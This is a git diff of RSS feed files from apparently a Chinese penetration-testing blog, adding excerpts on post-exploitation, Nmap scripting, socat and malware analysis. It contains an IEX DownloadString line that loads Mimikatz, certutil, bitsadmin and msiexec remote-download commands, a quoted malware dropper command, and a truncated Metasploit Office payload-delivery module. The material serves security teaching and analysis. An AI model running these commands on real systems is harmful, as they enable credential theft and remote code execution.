style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>PS C:\Users\administrator\Documents<span style="color:#f92672">&gt;</span>IEX(New<span style="color:#f92672">-</span><span style="color:#a6e22e">Object</span> Net<span style="color:#f92672">.</span>WebClient)<span style="color:#f92672">.</span>DownloadString(<span style="color:#e6db74">&#39;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1&#39;</span>) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>PS C:\Users\administrator\Documents<span style="color:#f92672">&gt;</span>Invoke<span style="color:#f92672">-</span>Mimikatz +</span></span></code></pre></td></tr></table> +</div> +</div><p>获取NTLM Hash</p>针对某跨国企业的一次渗透测试-持续https://payloads.online/archivers/2018-01-30/1/Tue, 30 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-30/1/<p>文章涉及泄漏厂商隐私,已经删除!</p>针对国内一大厂的后渗透 - 持续https://payloads.online/archivers/2017-12-28/1/Thu, 28 Dec 2017 00:00:00 +0000https://payloads.online/archivers/2017-12-28/1/<h2 id="0x00-前言">0x00 前言</h2> <p>此文将全部脱敏,涉及某大厂商,中间会穿插一些小的知识点与细节。</p> <h2 id="0x01-信息搜集---后渗透">0x01 信息搜集 - 后渗透</h2> <p>首先我们后渗透阶段的开始表现在 拥有一个Webshell或者通过其他漏洞获取了某些操作服务器文件的权限,亦或者能够直接反弹Shell</p> @@ -313,7 +523,28 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></prsocat 使用手册https://payloads.online/tools/socat/Thu, 09 Nov 2017 00:00:00 +0000https://payloads.online/tools/socat/<h2 id="socat简介">socat简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>D:\WWW\***\master\&gt; net user /domain +</span></span><span style="display:flex;"><span>这项请求将在域 WORKGROUP 的域控制器处理。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>发生系统错误 1355。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>指定的域不存在,或无法联系。 +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过上面的结果可以看到该服务器并不是域成员</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>D:\WWW\***\master\&gt; query user +</span></span><span style="display:flex;"><span>* 没有用户 +</span></span></code></pre></td></tr></table> +</div> +</div><p>没有管理员在线</p>socat 使用手册https://payloads.online/tools/socat/Thu, 09 Nov 2017 00:00:00 +0000https://payloads.online/tools/socat/<h2 id="socat简介">socat简介</h2> <p>socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。</p> <p>Socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、socket(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。</p> <p>Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。</p> @@ -338,7 +569,39 @@ <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 -</span></code></prWindows下命令行下载文件总结https://payloads.online/archivers/2017-11-08/1/Wed, 08 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-08/1/<h2 id="0x00-powershell">0x00 Powershell</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>./configure +</span></span><span style="display:flex;"><span>make +</span></span><span style="display:flex;"><span>make install +</span></span></code></pre></td></tr></table> +</div> +</div><p>具体的细节可以参考安装文档 README 。</p> +<h3 id="安装错误解决">安装错误解决</h3> +<p>在编译的过程中可能遇到如下错误:</p> +<p>解决方法有两种:</p> +<ul> +<li>第一种是禁用fips,使用如下命令配置:</li> +</ul> +<p><code>./configure --disable-fips</code></p> +<ul> +<li>第二种是安装fips</li> +</ul> +<p>首先到网站http://www.openssl.org/source/ 下载openssl-fips安装包,然后解压安装:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>./config +</span></span><span style="display:flex;"><span>make +</span></span><span style="display:flex;"><span>make install +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="socat的使用">socat的使用</h2> +<p>socat的具体文档参见网站:http://www.dest-unreach.org/socat/doc/socat.html 。</p>Windows下命令行下载文件总结https://payloads.online/archivers/2017-11-08/1/Wed, 08 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-08/1/<h2 id="0x00-powershell">0x00 Powershell</h2> <p>win2003、winXP不支持</p> <p>$client = new-object System.Net.WebClient</p> <p>$client.DownloadFile(&lsquo;<a href="http://payloads.online/file.tar.gz'">http://payloads.online/file.tar.gz'</a>, &lsquo;E:\file.tar.gz&rsquo;)</p> @@ -354,4 +617,13 @@ <p>可以参考:http://www.163164.com/jiqiao/163164com011.htm</p> <h2 id="0x03-certutil">0x03 Certutil</h2> <p>可以参考:https://technet.microsoft.com/zh-cn/library/cc773087(WS.10).aspx</p> -<p>应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2</p> \ No newline at end of file +<p>应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2</p> +<p>certutil.exe -urlcache -split -f http://192.168.3.1/test.txt file.txt</p> +<h2 id="0x04-bitsadmin">0x04 bitsadmin</h2> +<p>可以参考:https://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx</p> +<ul> +<li>1、<code>bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt</code></li> +<li>2、<code>bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt</code></li> +</ul> +<h2 id="0x05-msiexec">0x05 msiexec</h2> +<p>msiexec /q /i http://192.168.3.1/test.txt</p> \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\345\274\200\345\217\221/index.xml" "b/categories/\345\256\211\345\205\250\345\274\200\345\217\221/index.xml" index 5331036..d9d5017 100644 --- "a/categories/\345\256\211\345\205\250\345\274\200\345\217\221/index.xml" +++ "b/categories/\345\256\211\345\205\250\345\274\200\345\217\221/index.xml" @@ -41,7 +41,21 @@ <li>vuln 漏洞检测</li> </ul> <h2 id="0x03-nmap扩展脚本铺垫">0X03 Nmap扩展脚本铺垫</h2> -<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p>Nmap扩展开发(三)https://payloads.online/archivers/2019-04-24/3/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/3/<h2 id="0x01-扩展脚本对象-主机">0X01 扩展脚本对象-主机</h2> +<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p> +<p>主要介绍如下几点:</p> +<ul> +<li>Nmap扩展脚本用途</li> +<li>Nmap扩展脚本使用方法</li> +<li>如何查看Nmap扩展脚本的Usage(使用方法)</li> +</ul> +<h3 id="0x03-nmap扩展脚本用途">0X03 Nmap扩展脚本用途</h3> +<p>Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。</p> +<h3 id="0x03-nmap扩展脚本使用方法">0x03 Nmap扩展脚本使用方法</h3> +<p>在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:</p> +<p><a href="http://zhuanlan.zhihu.com/p/26618074">http://zhuanlan.zhihu.com/p/26618074</a></p> +<p>本章没有太多概念性的东西,希望读者能够边看边做。首先设定一个需求,我有一个需要搜集某个IP或某组IP所有开放HTTP服务的中间件信息。那么Nmap有一个脚本是可以直接满足我们需求的:</p> +<p><code>http-server-header.nse</code></p> +<p>扫描命令:<code>nmap --script=http-server-header &lt;TARGET&gt;</code></p>Nmap扩展开发(三)https://payloads.online/archivers/2019-04-24/3/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/3/<h2 id="0x01-扩展脚本对象-主机">0X01 扩展脚本对象-主机</h2> <p>在进行主机扫描的时候会执行hostrule这个函数,从以往的nmap扩展脚本代码中我们都可以发现在hostrule这个函数中做了一些针对host操作的动作。</p> <p>hostrule有一个参数,变量名叫host,我们可以把它理解为一个对象,在这里称之为对象是为了方便读者理解,在lua中实际它的数据类型是一个多维的table(表),具有很多属性。由于这些rule函数都是被动调用的,我们只能在函数内部对形参进行操作了。</p> <p>参考:https://nmap.org/book/nse-api.html</p> @@ -71,7 +85,24 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 -</span></code></prNmap扩展开发(二)https://payloads.online/archivers/2019-04-24/2/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/2/<h2 id="0x01-nse引擎执行流程">0x01 NSE引擎执行流程</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#66d9ef">local</span> stdnse <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;stdnse&#34;</span> +</span></span><span style="display:flex;"><span>prerule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>hostrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(host) +</span></span><span style="display:flex;"><span> mac <span style="color:#f92672">=</span> host.mac_addr +</span></span><span style="display:flex;"><span> print(stdnse.format_mac(mac)) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>portrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(host,port) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>action<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>postrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过host.mac_addr获取的mac地址是二进制编码的,我们要转换成字符串,需要引入stdnse这个扩展包,stdnse包中有一个format_mac函数,能够将host.mac_addr转换成字符串。</p>Nmap扩展开发(二)https://payloads.online/archivers/2019-04-24/2/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/2/<h2 id="0x01-nse引擎执行流程">0x01 NSE引擎执行流程</h2> <p>Nmap的扩展脚本语言都基于lua来开发的,执行也是调用了内部封装的lua解释器。</p> <p>正常情况下,调用任何一个扩展脚本会首先执行<code>nse_main.lua</code>,该脚本主要做了以下几件事:</p> <ul> @@ -105,7 +136,18 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 -</span></code></prNmap扩展开发(四)https://payloads.online/archivers/2019-04-24/4/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/4/<h2 id="0x01-http包的使用">0x01 HTTP包的使用</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#75715e">-- Table of different supported rules.</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> NSE_SCRIPT_RULES <span style="color:#f92672">=</span> { +</span></span><span style="display:flex;"><span> prerule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;prerule&#34;</span>, +</span></span><span style="display:flex;"><span> hostrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hostrule&#34;</span>, +</span></span><span style="display:flex;"><span> portrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;portrule&#34;</span>, +</span></span><span style="display:flex;"><span> postrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;postrule&#34;</span>, +</span></span><span style="display:flex;"><span>}; +</span></span></code></pre></td></tr></table> +</div> +</div><p>每一个规则代表了函数,由函数的返回值决定执行流程</p>Nmap扩展开发(四)https://payloads.online/archivers/2019-04-24/4/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/4/<h2 id="0x01-http包的使用">0x01 HTTP包的使用</h2> <p>一般情况下,我们扫描一些Web服务的同时需要进行渗透测试、安全评估、漏洞检测等操作,但是官方并未提供符合我们需求的脚本,这时候就要自己写脚本了。Nmap已经内置了HTTP包,不需要再进行下载和配置。</p> <h2 id="0x02-基础概念铺垫">0x02 基础概念铺垫</h2> <p>首先,先介绍两个表结构,为了方便我们后续的数据操作,让读者先熟悉两个东西:</p> @@ -139,4 +181,35 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 -</span></code></pr \ No newline at end of file +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>| Response: +</span></span><span style="display:flex;"><span>| status: 200 +</span></span><span style="display:flex;"><span>| header: +</span></span><span style="display:flex;"><span>| content-length: 0 +</span></span><span style="display:flex;"><span>| allow: POST,OPTIONS,HEAD,GET +</span></span><span style="display:flex;"><span>| connection: close +</span></span><span style="display:flex;"><span>| content-type: text/html +</span></span><span style="display:flex;"><span>| server: Apache/2.4.29 (Debian) +</span></span><span style="display:flex;"><span>| date: Fri, 06 Jul 2018 07:02:13 GMT +</span></span><span style="display:flex;"><span>| ssl: false +</span></span><span style="display:flex;"><span>| body: +</span></span><span style="display:flex;"><span>| cookies: +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>| status-line: HTTP/1.1 200 OK\x0D +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>| rawheader: +</span></span><span style="display:flex;"><span>| Date: Fri, 06 Jul 2018 07:02:13 GMT +</span></span><span style="display:flex;"><span>| Server: Apache/2.4.29 (Debian) +</span></span><span style="display:flex;"><span>| Allow: POST,OPTIONS,HEAD,GET +</span></span><span style="display:flex;"><span>| Content-Length: 0 +</span></span><span style="display:flex;"><span>| Connection: close +</span></span><span style="display:flex;"><span>| Content-Type: text/html +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>|_ version: 1.1 +</span></span></code></pre></td></tr></table> +</div> +</div><ul> +<li>Options表</li> +</ul> +<p>Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向</p> \ No newline at end of file diff --git "a/categories/\345\272\224\346\200\245\345\223\215\345\272\224/index.xml" "b/categories/\345\272\224\346\200\245\345\223\215\345\272\224/index.xml" index b7b5f3e..3d77059 100644 --- "a/categories/\345\272\224\346\200\245\345\223\215\345\272\224/index.xml" +++ "b/categories/\345\272\224\346\200\245\345\223\215\345\272\224/index.xml" @@ -20,4 +20,33 @@ <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>cmd.exe /c (cd %temp%&amp;certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat&gt;nul&amp;expand -r v.dat&gt;nul&amp;v.bat&gt;nul&amp;del v.dat v.bat&gt;nul) -</span></span></code></pr \ No newline at end of file +</span></span></code></pre></td></tr></table> +</div> +</div><p>由于目前<code>cert.beahh.com</code>已经无法访问,所以进行下一个powershell分析环节。</p> +<p>首先,<code>powershell -nop -w hidden -ep bypass -e </code>后接着就是base64编码的powershell代码,并且以Bypass作为当前执行策略。</p> +<p>Windows中的powershell执行策略:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>PS C:\Users\Rvn0xsy&gt; Get-ExecutionPolicy -List +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> Scope ExecutionPolicy +</span></span><span style="display:flex;"><span> ----- --------------- +</span></span><span style="display:flex;"><span>MachinePolicy Undefined +</span></span><span style="display:flex;"><span> UserPolicy Undefined +</span></span><span style="display:flex;"><span> Process Undefined +</span></span><span style="display:flex;"><span> CurrentUser Undefined +</span></span><span style="display:flex;"><span> LocalMachine Bypass +</span></span></code></pre></td></tr></table> +</div> +</div><p>将后面的base64解密后:</p> \ No newline at end of file diff --git "a/categories/\346\270\227\351\200\217\346\265\213\350\257\225/index.xml" "b/categories/\346\270\227\351\200\217\346\265\213\350\257\225/index.xml" index 9628efe..0979184 100644 --- "a/categories/\346\270\227\351\200\217\346\265\213\350\257\225/index.xml" +++ "b/categories/\346\270\227\351\200\217\346\265\213\350\257\225/index.xml" @@ -23,4 +23,6 @@ </span></span><span style="display:flex;"><span>2) create an empty file with a &#34;.xap&#34; extension on the same share, this will open using &#34;Xact3.exe&#34; as its default </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>3) open the the .xap file from the Network share then BOOM! -</span></span></code></pr \ No newline at end of file +</span></span></code></pre></td></tr></table> +</div> +</div><p>一共两步,第一步是创建两个文件,分别是<code>.xap</code>文件和<code>xbdm.dll</code>。</p> \ No newline at end of file diff --git "a/categories/\346\274\217\346\264\236\345\210\251\347\224\250/index.xml" "b/categories/\346\274\217\346\264\236\345\210\251\347\224\250/index.xml" index a6455f4..fe5ba48 100644 --- "a/categories/\346\274\217\346\264\236\345\210\251\347\224\250/index.xml" +++ "b/categories/\346\274\217\346\264\236\345\210\251\347\224\250/index.xml" @@ -61,4 +61,61 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52 -</span></code></pr \ No newline at end of file +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#75715e">##</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># This module requires Metasploit: https://metasploit.com/download</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># Current source: https://github.com/rapid7/metasploit-framework</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">##</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MetasploitModule</span> <span style="color:#f92672">&lt;</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Exploit</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Remote</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">Rank</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">NormalRanking</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">include</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Exploit</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Remote</span><span style="color:#f92672">::</span><span style="color:#66d9ef">HttpServer</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">initialize</span>(info <span style="color:#f92672">=</span> {}) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">super</span>(update_info(info, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Name&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;Microsoft Office Payload Delivery&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Description&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">%q{ +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> This module generates an command to place within +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> a word document, that when executed, will retrieve a HTA payload +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> via HTTP from an web server. Currently have not figured out how +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> to generate a doc. +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> }</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;License&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">MSF_LICENSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Arch&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">ARCH_X86</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Platform&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;win&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Targets&#39;</span> <span style="color:#f92672">=&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span><span style="color:#e6db74">&#39;Automatic&#39;</span>, {} <span style="color:#f92672">]</span>, +</span></span><span style="display:flex;"><span> <span style="color:#f92672">]</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;DefaultTarget&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#ae81ff">0</span>, +</span></span><span style="display:flex;"><span> )) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">on_request_uri</span>(cli, _request) +</span></span><span style="display:flex;"><span> print_status(<span style="color:#e6db74">&#34;Delivering payload&#34;</span>) +</span></span><span style="display:flex;"><span> p <span style="color:#f92672">=</span> regenerate_payload(cli) +</span></span><span style="display:flex;"><span> data <span style="color:#f92672">=</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Util</span><span style="color:#f92672">::</span><span style="color:#66d9ef">EXE</span><span style="color:#f92672">.</span>to_executable_fmt( +</span></span><span style="display:flex;"><span> framework, +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">ARCH_X86</span>, +</span></span><span 